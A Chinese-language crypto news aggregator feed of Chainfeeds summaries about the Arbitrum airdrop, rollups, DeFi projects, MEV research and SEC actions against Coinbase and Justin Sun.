    Chainfeeds 导读： Arbitrum 空投申领在即，加密数据分析师 Panda Jackson 就其中需要注意的 8 个关键点进行总结。 文章来源： https://twitter.com/pandajackson42/status/1638858770175655936 文章作者： Panda Jackson 观点： Panda Jackson：1）Arbitrum 的 gas 定价不同于以太坊：Arbitrum 完全依赖基础费用，没有优先费用选项，交易不会因高额小费被优先处理；2）增加基础费用，以应对前多未有的 gas 价格飙升：合格的空投地址约 62.5 万个，是 Arbitrum 每日活跃地址（约 24 万）的 2.6 倍，巨大的流量将推动基础费用远高于 0.1 GWEI 的底线；【原文为英文】 内容来源 Panda Jackson：3）增加 gas limit：Arbitrum 的 gas 单位成本不仅包括 EVM 的计算 / 存储成本，还包括 L1 资源费用和 L2 特定的预编译执行费用。不要将 gas limit 降低到 Ethereum 上相同操作所需的数量；4）使用可靠的 RPC。交易按先来后到原则处理，成功将其广播到排序器可确保尽快执行。可靠的 RPC 还提供准确的 gas 信息，提高交易成功率；5）为 L2 可能出现的延迟做好准备：L1 区块编号可能没有在 L2 上实时更新，出现 内容来源 Panda Jackson：6）为潜在的中断做好额外准备：用户需求增加将是对 Arbitrum 和相关服务供应商的压力测试，可能会导致极端案例；7）确保利用当前的低 gas 费：现在的基础费用很便宜（截至发稿时为 0.1 GWEI），请确保你已经存入足够 ETH gas 费、预先批准 DEX、切换到可靠的 RPC；8）保持谨慎，小心钓鱼网站：只点击来自官方网站的链接，以确保安全。【原文为英文】 内容来源  ( 2 min )
    【英文长推】介绍 eIBC：Optimistic Rollups 之间快速且信任最小化的桥接
    Chainfeeds 导读： 模块化区块链网络 Dymension 发布论文提出基于 IBC 的新型协议 eIBC（escrow-IBC），用于 Optimistic Rollup 之间快速且信任最小化的桥接。论文由 Dymension 联合创始人 Yishay、团队成员 Omri 和 Lior 共同撰写，本推特为论文要点摘录。 文章来源： https://twitter.com/dymensionXYZ/status/1638534419202863109 文章作者： Dymension 观点： Dymension：Optimistic Rollups 有两个主要缺点：1）需要欺诈争议窗口期，这会阻止与其他支持 IBC 的链进行「即时」代币转移，从而阻碍 rollups 之间的连接；2）「验证者困境」：如果 rollup sequencer 确实是诚实的，那么没有人会被激励去审查，但如果没有人审查，rollup sequencer 可能会作弊。【原文为英文】 内容来源 Dymension：eIBC 是一种基于 IBC 的新颖协议，通过使用专门的结算层（Dymension Hub）作为未来应收账款的托管「开放市场」来解决上述问题。可以做到：1）几乎即时完成用户的 IBC 转移；2）验证者可在争议期结束后获得利润；3）如果没有验证者完成 eIBC 转移，用户只需等待其在争议期后得到确认。【原文为英文】 内容来源 Dymension：一旦代币位于 Dymension Hub 上，它们就能够立即到达任何其他 RollApp 或支持 IBC 的链，这使得 Dymension Hub 成为 RollApp 网络的流动性路由。eIBC 上可以构建各种应用程序：其中之一是 Verifier pools，它从想要分享 eIBC 路由利润的用户处聚集流动性，在 Dymension 和支持 IBC 的生态系统中释放新的收益机会和即时转移。【原文为英文】 内容来源 ChainFeeds：论文原文：https://eibc.dymension.xyz/ 内容来源  ( 2 min )
    Vela Exchange ：衍生品赛道的一匹黑马
    Chainfeeds 导读： 整个加密市场的衍生品交易量长期高于现货交易量，但在去中心化交易所中，衍生品市场规模还远远小于现货市场，存在较大发展空间。Cabin VC 对赛道黑马，去中心化衍生品交易所 Vela Exchange 的产品机制、费用分配模型、近期数据表现和优劣势进行了全面分析。 文章来源： https://mp.weixin.qq.com/s/hY83Re4E9mZG4ejfAWO2dA 文章作者： Cabin VC 观点： Cabin VC：Vela Exchange 是 Arbitrum 上的衍生品 DEX，借鉴了 GMX 的模式，存款人将资金存入后生成 VLP，可获得平台收入分配并从交易者的亏损中获利，交易者通过向 VLP 池子借入资金进行杠杆交易。主要区别在于 Vela Exchange 不像 GLP 那样打包了一篮子货币（BTC、ETH、USDC 等），VLP 完全由 USDC 构成。 内容来源 Cabin VC：优势：1）只使用 USDC 作为底层资产，类似于 CEX 的 U 本位合约，理解门槛低；2）通过与 Axelar Network 和 Squid 的合作，支持跨链资金一键兑换为 USDC 存入 VLP 中，未来还将支持 OTC 交易，使用便捷；3）提供更多样化交易标的，理论上只需预言机支持且具备一定深度； 内容来源 Cabin VC：劣势：1）底层资产完全是 USDC，存在信任成本，USDC 脱锚会引发 VLP 大规模撤出，可能会引发大量清算；2）对多空双方都收取资金费率。牛市时空方可能会选择 CEX，单边行情时期可能因多空比例倾斜导致 U 本位损失；3）目前 Vela Exchange 日活用户数与 GMX 相当，但 Crypto 类交易量仅为 GMX 的 1/10，可能存在部分用户为获取空投刷量，激励结束后能否保持增长势头有待观察。 内容来源  ( 33 min )
    【英文】一文深入了解 EigenLayer
    Chainfeeds 导读： 被称为 2023 年以太坊生态系统中最新颖的创新之一的 EigenLayer 到底是什么？加密货币 KOL Ivan Cryptoslav 从解决的问题、目标、用例、风险、未来等方面全方位解析 EigenLayer。 文章来源： https://coinmarketcap.com/alexandria/article/a-deep-dive-into-eigenlayer 文章作者： Ivan-Crypto Analyses & Memes 观点： Ivan-Crypto Analyses & Memes：以太坊提供信任，协议提供创新。Dapp 消耗信任，而质押者和验证者提供信任。DApp 为了获得以太坊提供的信任和安全保证而向其支付溢价，但这意味着信任被分散了，特别是对于不使用以太坊虚拟机（EVM）并且与基础层不兼容的 DApps 和桥接器而言。结果是中间件要承担启动昂贵新信任模型的负担。EigenLayer 的目标是改变现状，更好地协调 DApp、中间件服务和以太坊的利益。【原文为英文】 内容来源 Ivan-Crypto Analyses & Memes：优势：EigenLayer 提供比以太坊主网更便宜、带宽更高的服务；其引入增加以太坊协议之间的互操作性，从而促进创新速度；更多资本应该流入以太坊生态系统，以利用额外收益；通过使用 EigenLayer，可以增强能够利用主网的协议的安全性；相对于 Celestia 等其他模块化区块链解决方案，它价格更低廉。【原文为英文】 内容来源 Ivan-Crypto Analyses & Memes：由于 EigenLayer 引入了大量效率，因此存在几个风险：1）单点故障：EigenLayer 接收 ETH 质押者提取凭证。如果它被利用并且有大量 ETH 被质押，这将给主网造成系统性风险。2）集中化风险：如果许多质押者保护一个应用程序并被削减，则可能对以太坊产生不良后果。3）收益风险：协议可以利用以太坊进行安全性。但是，在 EigenLayer 上质押最高以最大限度地提高回报率，导致协议之间展开竞争，以吸引资本。4）削减风险：协议还可以降低其削减条件以吸引更多资本，从而破坏其自身安全性。【原文为英文】 内容来源  ( 28 min )
    【英文长推】10 个有潜力的种子轮项目：Tensor、Mangrove、Alkimiya…
    Chainfeeds 导读： 浏览加密项目的种子轮融资信息是一个被低估的可以提前获取新项目信息并埋伏空投的方式，加密 KOL Minty 发推分享了 10 个有潜力的种子轮项目。 文章来源： https://twitter.com/DeFiMinty/status/1638577735416131585 文章作者： Minty 观点： Minty：1）Tensor（300 万美元）建立在 Solana 上的 NFT 市场，正在运行一个类似 Blur 的空投系统，使用该平台的用户可为未来空投赚取积分；2）Mangrove（740 万美元）基于 Polygon 的订单簿 DEX，不需要 LP 锁定资金，而是将报价作为智能合约列在 Mangrove 的订单簿上，有人接受报价时，LPs 才会被调用，以此提高资本效率；【原文为英文】 内容来源 Minty：3）Alkimiya（720 万美元）正在构建一个无需许可的区块空间市场，验证者 / 矿工可以特定价格向普通用户出售一定数量的区块空间以对冲其收益波动，普通用户也可获得实际收益；4）Strider（550 万美元）游戏工作室，负责制作 Smolverse 游戏，似乎在创建一个平台，允许用户共同创造故事体验；【原文为英文】 内容来源 Minty：5）Towns（2550 万美元）由 a16z 支持的开源群聊平台，允许任何人在链上创建自己的城镇，拥有完全的所有权和可定制性，且可在区块链上转移和出售；6）Fungify（600 万美元）旨在通过创建 NFT 指数和借贷协议为 NFT 创建流动性市场。符合条件的 NFT 持有者可以将其 NFT 质押在指数中，以获得额外收益；【原文为英文】 内容来源 Minty：7）Vest（未公开）衍生品平台，允许用户使用隔离的风险参数创建无需许可的市场，为用户提供更多选择和灵活性；8）Etherfi（530 万美元）流动性质押协议，目前正在运行早鸟积分系统；9）Monad（1900 万美元）EVM 兼容 L1，声称可提供 10,000 tps 吞吐量。用户可通过其最近宣布的社区计划获得 POAP；10）GammaSwap（170 万美元）允许用户投机波动率，并为 LP 对冲无常损失。【原文为英文】 内容来源  ( 2 min )
    NFT 市场的下一个新叙事：Open Loyalty
    Chainfeeds 导读： PFP 之后，NFT 市场的下一个新叙事是什么？以星巴克和 Nike 等为首的企业都在尝试更有实用价值的 NFT。starzq 和 Ruby Wang 发文分享 Open Loyalty 相关案例及思考，希望会员 Token 和 Open Loyalty 创造的外部正向性可以把更多用户和价值带入 Web3。 文章来源： https://web3brand.substack.com/p/nft-open-loyalty 文章作者： starzq、Ruby Wang 观点： starzq.eth：通过会员 Token 构造 Open Loyalty（开放会员系统），1）加速「离线」行业的数字化，建立更小摩擦的生态联盟，同时让用户和服务商受益；2）构建快闪 Open Marketplace，捕获增量价值；3）品牌获客方式，从投放广告变成让目标用户 Claim to Earn。用户因为自己的数据获得奖励，品牌方以更低成本获取目标用户，双方互相完成价值捕获。 内容来源  ( 9 min )
    DeFi 结构化产品 Pods Yield 发布其首款产品 stETHvv 白皮书
    DeFi 结构化产品 Pods Yield 发布其首款产品 stETHvv 白皮书 DeFi 结构化产品 Pods Yield 发布其首款产品 stETHvv（Ethereum Volatility Vault）白皮书，旨在为投资者提供本金保护回报，同时在波动时期产生稳定回报。 stETHvv 白皮书简要概述了以太坊波动性金库（Ethereum Volatility Vault）的核心功能，包括其如何实现本金保护，如何产生回报以及如何管理风险。此外，白皮书还包括关于智能合约和安全审计的细节，以确保产品安全性和可靠性。 内容来源 观点： ChainFeeds：stETHvv 白皮书地址：https://github.com/pods-finance/yield-contracts/blob/main/stethvv-whitepaper.pdf 内容来源 ChainFeeds：stETHvv 是一种利用衍生品实现本金保护的策略，无论市场走势如何，该策略都能使用户从 ETH 的波动性中获益。非常适合那些持有 ETH、相信 ETH 波动性将继续存在且希望在可控风险下长期累积更多 ETH 的用户。 ChainFeeds：stETHvv 采用混合链上 / 链下方法，投资的本金部分保留在链上，用于购买衍生品结构的收益可在链下或不同链上使用。stETHvv 主要包含收益来源和衍生品结构两部分。收益来源目前支持 stETH 或 ETH 存款；衍生品结构方面采用本金保护策略，只使用金库内累积的收益而非本金来设置结构。  ( 5 min )
    Arbitrum Nova 新手指南（附主要生态项目列表）
    Chainfeeds 导读： 随着 ARB 空投在即，人们开始对 Arbitrum 生态系统密切关注。Arbitrum Nova 是由 Arbitrum 推出的新的 L2 扩展解决方案，专为处理大量 Web3 游戏和社交应用程序交易而定制。Bankless 从链上活动、应用、如何使用等方面介绍了 Arbitrum Nova。本文由 Odaily 星球日报译者 Katie 辜编译。 文章来源： https://www.odaily.news/post/5185920 文章作者： Bankless 观点： Bankless：2022 年 6 月，Arbitrum 推出了 Arbitrum Nova，这是一款基于其 AnyTrust 技术的新的 L2 rollup，该技术针对超低成本交易和强大的安全保障进行了优化。自 2022 年 8 月以来，Arbitrrum Nova 专门为促进游戏和社交应用提供服务，而热门的 Arbitrrum One L2 继续广泛支持 DeFi 和 NFT 项目。Arbitrum Nova 和 Arbitrum One 之间的关键区别在于如何处理交易数据。目前 Arbitrum Nova 上运行的最大应用程序是 DEX Sushiswap。 内容来源 Bankless：目前游戏类应用有：Battle for Goblin Town，DroEats，Farcana，The Legend of Eros，MetaGates，Rocket Monsters，The Damned Pirate Society，Town Story。社交类应用：Reddit，Rogue Network。 内容来源  ( 7 min )
    Solv V3：改革去中心化流动性基础设施
    Chainfeeds 导读： Solv Protocol 正式推出 Solv V3，一个服务全行业的流动性基础设施。这一产品将帮助募资人通过发行、管理、结算链上基金实现高效的资金融通。Solv 华语社区从产品的两个模块介绍了 Solv V3。 文章来源： https://mirror.xyz/0x07599B7E947A4F6240F826F41768F76149F490D5/8KrPXQ3J_1ICv5RnyeC4N6ro-nXaQPGYow6bbRB3tys 文章作者： Solv 研究组 观点： Solv 研究组：模块一目标是降低链上基金发行门槛。提供链上基金产品的定义、管理与结算，允许任何融资人像创造 NFT 一样便捷直观的定义创建投资凭证。同时产品的管理和结算均可以通过针对 SFT 的打款、提款，拆分转移交易来实现。 内容来源 Solv 研究组：模块二目标是保证资金安全可控。基金产品的后端托管集成。基金经理可以在一套安全可信的环境和标准下操作融来的资金。以实现自证清白。这种能力允许基金经理甚至可以在不放任何抵押品的情况下获取数以千万计的资金。 内容来源  ( 4 min )
    【英文长推】观点：SEC 企图声明 Coinbase 交易的质押资产是证券是很困难的
    Chainfeeds 导读： SEC 在执行前向 Coinbase 发出了韦尔斯通知。加密货币 KOL Zach Light 认为没有理由恐慌，以及解释了他保持乐观的原因。 文章来源： https://twitter.com/zachlight16/status/1638700906450386944 文章作者： Zach Light 观点： Zach Light：SEC 想要什么？我们现在实际上还不确定，但可能是：将质押视为证券以及声明某些在 Coinbase 交易的资产是证券。我认为这对于 SEC 来说是一个非常困难的案例。从 Salesforce 到 Google 广告等许多技术公司都提供保证用户投资回报率的服务。这些全部都是证券吗？即使法官支持 SEC，他也会想知道为什么没有办法注册或者基于何种依据质押在美国是非法的。【原文为英文】 内容来源 Zach Light：我希望这加速了 Coinbase 国际化，直接与 Binance 竞争（永续、期货等），从而显著增加收入。其次，DC 中的加密支持者（有很多）会觉醒并对 SEC 过度干预进行斗争，导致最终加密行业的更多明晰性。【原文为英文】 内容来源 Zach Light：Coinbase 不会停止任何正在进行中的产品和开发，并下架资产。这对于抵制 SEC 至关重要。只有法院和漫长的法律程序才能阻止这些产品。虽然这对 Coinbase 来说是昂贵的，但它具备耐力资源，而 SEC 很容易输掉这场战斗。【原文为英文】 内容来源  ( 2 min )
    【英文】ATOM 跨链套利机会解析：Osmosis、Cronos、Canto 和 Evmos
    Chainfeeds 导读： 本篇报告对 Osmosis、Cronos、Canto 和 Evmos 四条链上 ATOM 跨链 MEV 套利机会进行了分析，其中 Evmos 和 Osmosis 套利机会最大，但 Evmos 的流动性最低。 文章来源： https://meka.tech/writing/analysing-cross-chain-arbitrage-opportunities-for-atom-b39c40d0-7c86-4087-8e9e-aebe7118e393 文章作者： Mekatek 观点： Mekatek：正如预期的一样，高价位的差异很少发生，根据链的不同，超过 5% 的价格差异的机会平均每天只会发生 1.5 至 2 次。Evmos 对 Osmosis 开放的高于 0.5% 的机会最多，尽管其流动性是所有资金池中最低的。Evmos 对 Osmosis 的未平仓机会时间也是最高的，最高可达 1% 的价差。但由于流动性较低，Evmos 资本化速度不如其他连锁店。至少 0.5% 的价格差异在 Osmosis 和 Canto 之间只占比 5.3% ，而在 Osmosis 和 Cronos 及 Osmosis 和 Evmos 中分别占比 25.89% 和 56.73%。【原文为英文】 内容来源 Mekatek：从 IBC 交易量来看，Evmos 与 Osmosis 的 IBC 交易量是 Cronos 的 3 倍，是 Canto 的 100 倍，这可能是 Osmosis 和 Canto 及 Osmosis 和 Cronos 之间没有利用高盈利机会的表现。【原文为英文】 内容来源
    【英文长推】解析 Cosmos 生态流动性质押协议 Stride：运作机制、路线图及代币经济学
    Chainfeeds 导读： Stride 能够让在 Cosmos Hub 上进行流动性质押的参与者获得 stATOM 代币，然后在生态系统内其他应用上使用或立即出售以获得流动性。加密研究员 Le Thang 撰文对 Stride 如何解决 Cosmos DeFi 利用率低下的问题。 文章来源： https://twitter.com/LeThang137/status/1638631702800248838 文章作者： Le Thang 观点： Le Thang：Stride 目前 TVL 超 1700 万美元，已经整合了 6 条链，并进行了 3 次审计以保证安全性。和 Lido 不同，Stride 使用链间账户和链间查询来质押代币并向用户发放 stAssets。且其只有流动性质押业务，并通过使用 ICS 获得最高的经济安全性。未来 12 个月内，Stride 将会进行更多集合，并且与其他团队合作将其纳入 Cosmos 堆栈上游。【原文为英文】 内容来源 Le Thang：2023 年路线图的亮点包括：第一个采用链间安全性的主权链、流动性治理、扩展只 Cosmos 之外及启动流动性质押模块，用户可以将质押代币转换为 LSD，且无需等待解锁期。关于代币经济学，50.2% 的代币将通过空投、奖励及质押奖励等方式发放给社区，40.9% 则用于团队和合作伙伴，锁定期为 1 年，分 2 年进行释放。【原文为英文】 内容来源  ( 2 min )
    【英文长推】一文读懂提供 MEV 防御的自动做市商 hashflow
    Chainfeeds 导读： hashflow 作为传统 AMM 的替代品，提供 MEV 防御、无滑点和跨链流动性访问。Messari 从工作原理、优势、代币模型等方面介绍了此项目。 文章来源： https://twitter.com/messaricrypto/status/1638553861609897984 文章作者： Messari 观点： Messari：hashflow 如何工作？交易者向做市商发出询价请求（RFQ），定价在链下进行，并由做市商签署报价单。hashflow 路由器优化最佳报价，然后交易者可以同意或拒绝执行交易。【原文为英文】 内容来源 Messari：hashflow 的做市方法具有以下几个好处：保证价格执行；更紧密的差额；MEV 抵抗力；原生地在各条链上进行资产互换而无需任何外部桥接；无需燃料费即可进行交易。【原文为英文】 内容来源 Messari：hashflow 在去年 11 月推出了基于以太坊的治理代币 HFT。最初供应量中最大的分配用于生态系统发展（53.2%）。此外，社区财库将是 HFT 4% 通货膨胀的唯一受益者。为了吸引用户使用 HFT 和 hashflow，该协议正在推出一个名为 Hashverse 的游戏化用户介绍平台。设计旨在扩大 HFT 持有人群体，并帮助新用户利用该协议的功能。【原文为英文】 内容来源  ( 2 min )
    ConsenSys 推出更新版质押服务：ConsenSys Staking
    ConsenSys 推出更新版质押服务：ConsenSys Staking ConsenSys 宣布将现已拥有超过 17,000 个以太坊验证器 Codefi Staking 重新启动并更名为 ConsenSys Staking，目标是通过使每个人都能在去中心化网络中质押，来释放 Web3 社区的协作力量。有多种方法可以使用 ConsenSys Staking 进行质押：1. 通过 MetaMask 机构版进行质押；2. 通过 ConsenSys Staking 应用程序进行质押；3. 使用 ConsenSys Staking API 进行质押；4. 通过 Lido 进行质押。 内容来源  ( 15 min )
    【英文长推】Delphi Digital：以 Arbitrum 空投为例解析去中心化治理的重要性
    Chainfeeds 导读： Arbitrum 的代币价格及空投后续走势毫无疑问是大家目前最关心的事件，Delphi Digital 表示 Arbitrum 空投是一个关于如何去中心化的案例研究，并撰文对去中心化的重要性及 Arbitrum 与 Optimism 的区别进行了分析解读。 文章来源： https://twitter.com/Delphi_Digital/status/1638675055558246408 文章作者： Delphi Digital 观点： Delphi Digital：Arbitrum 正在通过其治理代币 ARB 的推出过渡至 DAO 治理。去中心化对于 Arbitrum 治理非常重要，能够确保随着基础层的不断升级交易将始终 roll up 至以太坊上。此外，L2 解锁效应包括快速的区块时间，允许有效的清算并为用户提供更高的杠杆限制及更便宜的计算成本，允许更多活动和用户。【原文为英文】 内容来源 Delphi Digital：如果我们使用 Optimism 作为 Arbitrum 的基准，我们可以看到 Arbitrum 几乎在所有指标上都处于领先。Arbitrum 和 Optimism 都使用了 Quest 活动，用 NFT 来奖励行动以激励对其链的使用，但 Arbitrum 能够在不分发任何一个代币的情况下引导流动性。【原文为英文】 内容来源 Delphi Digital：此外，Optimism 任务在 1 月 17 日正式结束，Optimism 日交易量在短短两天内从 60.2 万降至 16.5 万，下降了 72.5%。而 Arbitrum 虽然空投快照已经结束，但其 TVL 和每日交易量都创下了历史新高。随着生态系统的飞速发展，Arbitrum 的空投投机用户有机会成为真正的用户。【原文为英文】 内容来源  ( 2 min )
    【英文】X-explore ：关于 Arbitrum 女巫攻击检测规则的报告
    Chainfeeds 导读： X-explore 与 WuBlockchain 表示 Arbitrum 制定的女巫攻击检测规则会造成很大的漏洞，并不能有效防止四种类型的女巫攻击，包括关联少于 20 个地址的、通过交易所、跨链桥、智能合约存取款的、快照后有明显收集 NFT 或资金行为的及在其他链上有明显批量操作的。 文章来源： https://mirror.xyz/x-explore.eth/AFroG11e24I6S1oDvTitNdQSDh8lN5bz9VZAink8lZ4 文章作者： X-explore 及 WuBlockchain 观点： X-explore：通过我们的关联及女巫攻击地址识识别模型，我们成功识别了超过 279,328 个关联地址及 148,595 个女巫攻击地址。关联地址约获得 5.57 亿枚 ARB，占空投代币总数的 47.96%；女巫攻击地址约获得 2.53 亿 ARB，占空投代币总数的 21.8%。【原文为英文】 内容来源 X-explore：1）女巫攻击地址使用 CEX 逃避女巫攻击检测，最大的团队有 2997 个地址，共计 183 万枚空投代币；2）使用跨链桥逃避女巫攻击检测，最大的团队有 1114 个地址，共计 108 万枚空投代币；3）使用智能合约逃避女巫攻击检测，最大的团队有 1274 个地址，共计 105 万枚空投代币；4）女巫攻击地址在快照后存在明显的收集行为；5）我们在 Optimism 上发现了女巫攻击地址，共计 202 个地址，赚取了 204,250 枚代币。【原文为英文】 内容来源  ( 12 min )
    以太坊二层网络 Taiko 已上线 ZK-EVM alpha-2 测试网「Askja」
    以太坊二层网络 Taiko 已上线 ZK-EVM alpha-2 测试网「Askja」 基于 zkRollup 的以太坊二层网络 Taiko 已上线 ZK-EVM alpha-2 测试网「Askja」，向所有开发人员开放以部署智能合约，部分集成了 ZKP 有效性证明，验证者现在无需许可即可生成证明。 此外，该测试网还启用协议经济学，对验证者进行真实奖励以补偿他们的资源消耗，相对应的 L1 是以太坊测试网 Sepolia，并部署 Uniswap V2 分叉以支持兑换。 内容来源  ( 2 min )
    Web3 金融科技公司 Heartstocks 完成 500 万欧元融资，Vanagon Ventures 参投
    Web3 金融科技公司 Heartstocks 完成 500 万欧元融资，Vanagon Ventures 参投 据 Hamburg-news 报道，Web3 金融科技公司 Heartstocks 宣布完成 500 万欧元融资，一批中型家族办公室、天使投资人和慕尼黑 Web3 风投 Vanagon Ventures 参投。Heartstocks 利用区块链技术将实物藏品、股票和实体公司转换为可投资的代币化证券，以吸引更多人参与投资。 内容来源  ( 3 min )
    【英文】探究主权 MEV 概念及属性：如何为区块链生态系统提供更多控制权？
    Chainfeeds 导读： 主权是 Cosmos 设计理念的基础，也是任何应用链或 Rollup 生态系统的基石。加密研究员 barry、PossibilityResult 及 hxrts 撰文对主权基本概念进行了探讨，并提出了「主权 MEV 工具箱」的概念及其应该满足的属性。 文章来源： https://ideas.skip.money/t/the-sovereign-mev-toolkit/38 文章作者： barry、PossibilityResult 及 hxrts 观点： barry：主权 MEV 工具箱由两个主要部分组成：1）Protocol-owned-building（POB）：交易排序、区块状态转换及验证者节点工具的协议内规则，允许验证者和协议表达对区块构建的偏好；2） 多元性（Multiplicity）：PoS 附加功能，要求区块从多个提议者的输入中构建，增加审查阻力，并使可信的 POB 偏好表达成为可能。【原文为英文】 内容来源 barry：主权 MEV 供应链的三个属性：1）社区决定哪些利益相关者获得 MEV；2）社区决定哪些类型的协议内 MEV 被允许；3）社区决定如何提取 MEV。目前以太坊的提议者构建者分离（PBS）方案无法实现主权 MEV。因为 PBS 的实现主要是因为区块提议者垄断了一个区块中包括哪些交易及如何排序，因此他们能够以最大化自己的利润为目标出售这些权利。而增加一个新的行为者并不能解决中心化问题，构建者在搜索者和用户支付的费用与他们为赢得区块而必须支付给验证的费用之间赚取利润，因此他们有动机去囤积订单流。【原文为英文】 内容来源 barry：通过使用主权 MEV 工具箱，区块链和智能合约开发者及其用户能够在自己的区块空间、指导订单流程和构建 MEV 感知应用方面获得更大的权力。主权 MEV 工具箱包括五个不同的机制类别：1）基于交易排序和包含的共识强制性区块有效性规则；2）基于状态的共识强制性区块有效性规则；3）内置在节点客户端的构建器基元；4）内置在状态机的构建器基元；5）多重性 - 多重验证器区块构建。【原文为英文】 内容来源  ( 9 min )
    【英文】MEV 最大化策略：以太坊上海升级对 LSD 的潜在影响
    Chainfeeds 导读： 以太坊上海升级将使得验证者能够在以太坊主网提取质押的 ETH，而这也会导致以太坊上流动性质押衍生品的交易量会大幅增加，从而创造更多的 MEV 机会。EigenPhi 撰文从 LSD MEV 收入、市场规模及未来预期等方面探讨了 LSD 的潜在影响和 MEV 的最大化策略。 文章来源： https://eigenphi.substack.com/p/mev-maximizing-strategies-for-searchers 文章作者： EigenPhi 观点： EigenPhi：2022 年 5 月至 2023 年 2 月，涉及 LSD 的 MEV 总收入超过 484 万美元，其中大部分来自套利。套利交易频率的上升和平均套利收入的下降表明市场的效率在提升。此外，所有三类 MEV 的收入与成本比率都有所下降，表明 LSD MEV 市场竞争加剧。LSD MEV 市场规模不断扩大，但收益与成本比下降，表明参与者需要不断改进策略以保持竞争力。【原文为英文】 内容来源 EigenPhi：LSD MEV 的未来机会：1）短期内，上海升级允许用户提取 ETH 可能会造成 ETH 在市场的价格的急剧变化，带来很多套利和清算的选择。因此建议计划在 DeFi 市场大量出售 ETH 的用户做好防控三明治攻击的准备；2）长远来看，LSD MEV 的市场规模将会进一步扩大，预测 LSD 将取代 WETH 在以太坊上的部分流动性；3）大部分 LSD 的奖励来自于市场的 MEV 奖励，更高的 MEV 奖励也会导致更高的 LSD 奖励从而创造 LSD 价格的提升。一些新的交易策略也将出现。【原文为英文】 内容来源  ( 19 min )
    【英文长推】错过 Aribtrum 空投？来看看 ZetaChain 空投参与策略
    Chainfeeds 导读： 公链 ZetaChain 内置跨链互操作性，旨在连接所有区块链，且通过 ZetaChain 工具包，开发者可以建立全链 DApp。X DAO 创始人 Rekt Fencer 撰文概述如何获得 ZETA 空投资格。 文章来源： https://twitter.com/rektfencer/status/1638262609458634752 文章作者： Rekt Fencer 观点： Rekt Fencer：交互：1）在 MetaMask 上添加 Goerli testnet 网络，在 goerlifaucet.com 上申请 ETH 测试币，在 MetaMask 上添加 Mumbai testnet 网络，申请 MATIC 测试币；2）进入 Zeta 网站，点击 Get ZETA，验证和授权推特和连接以太坊账户，推特注册时间需要超过 1 个月；3）申请测试 ZETA 代币，如果在 5 至 10 分钟内没有收到代币，可以尝试在官方 Discord 上进行申请。【原文为英文】 内容来源 Rekt Fencer：Swap：进入官网后，选择从 Goerli 将 ZETA 互换为 Polygon Mumbai 的 tMATIC，随后切换网络为 Polygon Mumbai，将部分 tMATIC 跨链至 BSC Testnet。完成后每周可以获得 7000 个 ZetaPoints，每周都可以进行操作。【原文为英文】 内容来源  ( 2 min )
    美 SEC 对孙宇晨及其三家全资公司提出指控，指控其非法销售证券及操控市场
    美 SEC 对孙宇晨及其三家全资公司提出指控，指控其非法销售证券及操控市场 美国证券交易委员会（SEC）正式对 Tron 创始人孙宇晨及其三家全资子公司 Tron 基金会、BitTorrent 基金会和 BitTorrent 提出指控，指控其未经注册发售及销售加密资产证券 TRX 和 BTT。美国证券交易委员会还指控孙宇晨及其子公司通过广泛的洗盘交易欺诈性操纵 TRX 二级市场。据称，孙宇晨让自己的员工在其控制的两个加密资产交易平台账户之间进行了超 60 万次 TRX 虚拟交易，每日通过这些对敲交易大约 450 万至 740 万枚 TRX，非法交易所用资产（TRX）全部系孙宇晨本人提供。此外 SEC 同时指控 8 名名人在未披露的情况下非法兜售 TRX 或 BTT。 内容来源 观点： Gary Gensler：本案再次表明当加密资产证券在没有适当披露的情况下进行销售时将会导致投资者面临高风险。正如指控的那样，孙宇晨和他的公司不仅在其未注册的要约和销售中以美国投资者为目标，以牺牲投资者利益的情况下产生了数百万非法收益，而且他们还在一个未注册交易平台上进行洗盘交易以创造 TRX 交易活跃的假象，孙宇晨还策划了宣传活动进一步诱导投资者购买 TRX 和 BTT。【原文为英文】 内容来源 孙宇晨：美国证券交易委员会今天早些时候的民事指控只是它对区块链和加密领域知名人士采取行动的最新例子。我们认为该指控缺乏依据。众所周知，美国证券交易委员的数字资产监管框架仍处于起步阶段，需要进一步发展。【原文为英文】 内容来源  ( 7 min )
    自托管钱包 Nimiq 支持 Polygon 上 Gas 抽象 USDC 交易
    自托管钱包 Nimiq 支持 Polygon 上 Gas 抽象 USDC 交易 自托管钱包 Nimiq 现正为 Polygon 用户在其原生钱包内整合 Gas 抽象 USDC 交易，使用户能够更容易处理稳定币交易，且无需使用 MATIC 代币支付费用。Nimiq 钱包用户现可以发送和接收 USDC，用户只需持有 USDC，钱包内置智能合约会在后台自动将 USDC 的 Gas 费用转换为 MATIC，减少使用 USDC 进行日常支付的摩擦。该功能在 Nimiq 钱包最新版本中可用。 据 The Block 介绍，Nimiq 由开源的 Gas Station 网络协议提供支持，该协议使去中心化应用的用户可以用任何代币支付区块链费用。此外，Nimiq 还支持 USDC、BTC 及其原生代币 NIM 之间的原子互换，以及用于查找接受加密货币的商家的地图和销售点解决方案。 内容来源  ( 201 min )
    Coinbase 收到美 SEC 的韦尔斯通知，主要是关于质押和资产上市
    Coinbase 收到美 SEC 的韦尔斯通知，主要是关于质押和资产上市 Coinbase 联合创始人兼首席执行官 Brian Armstrong 表示，Coinbase 收到了美国证券交易委员会（SEC）的韦尔斯通知（Wells Notice），主要是关于质押和资产上市。韦尔斯通知通常发生在执法行动之前。Brian Armstrong 称，SEC 于两年前详细审查了 Coinbase 的业务并批准 Coinbase 的上市请求，Coinbase S1 清楚解释了上市过程，其中包括提及质押 57 次。且 Coinbase 资产审查程序非常严格，且拒绝了 90% 关于在 Coinbase 上市资产的申请。 内容来源 观点： paulgrewal.eth（Coinbase 首席法务官）：过去 9 个月内，我们已经与美国证券交易委员会会面超过 30 次，分享我们的业务细节以寻求一个注册的路径。但美国证券交易委员会并没有给出任何关于如何注册的反馈，相反我们今天收到了韦尔斯通知。截止至今，美国证券交易委员会仍没有任何关于明确加密货币规则的文件，且我们努力的结果是沉默或执法行动。此外，SEC 和 CFTC 对商品和证券的定义并不一致。即使在给我们的韦尔斯通知中，美国证券交易委员会也没有告知我们在质押上具体存在问题的论点，我们只被告知要考虑主席的一般性声明。【原文为英文】 内容来源 Cope：用一句话总结：Coinbase 要求美国证券交易委员会确定其平台上哪些资产可能被认为是证券，但美国证券交易委员会拒绝了。【原文为英文】 内容来源  ( 2 min )
    MetaMask 机构钱包开启新质押市场，预计将于以太坊上海升级前几周上线
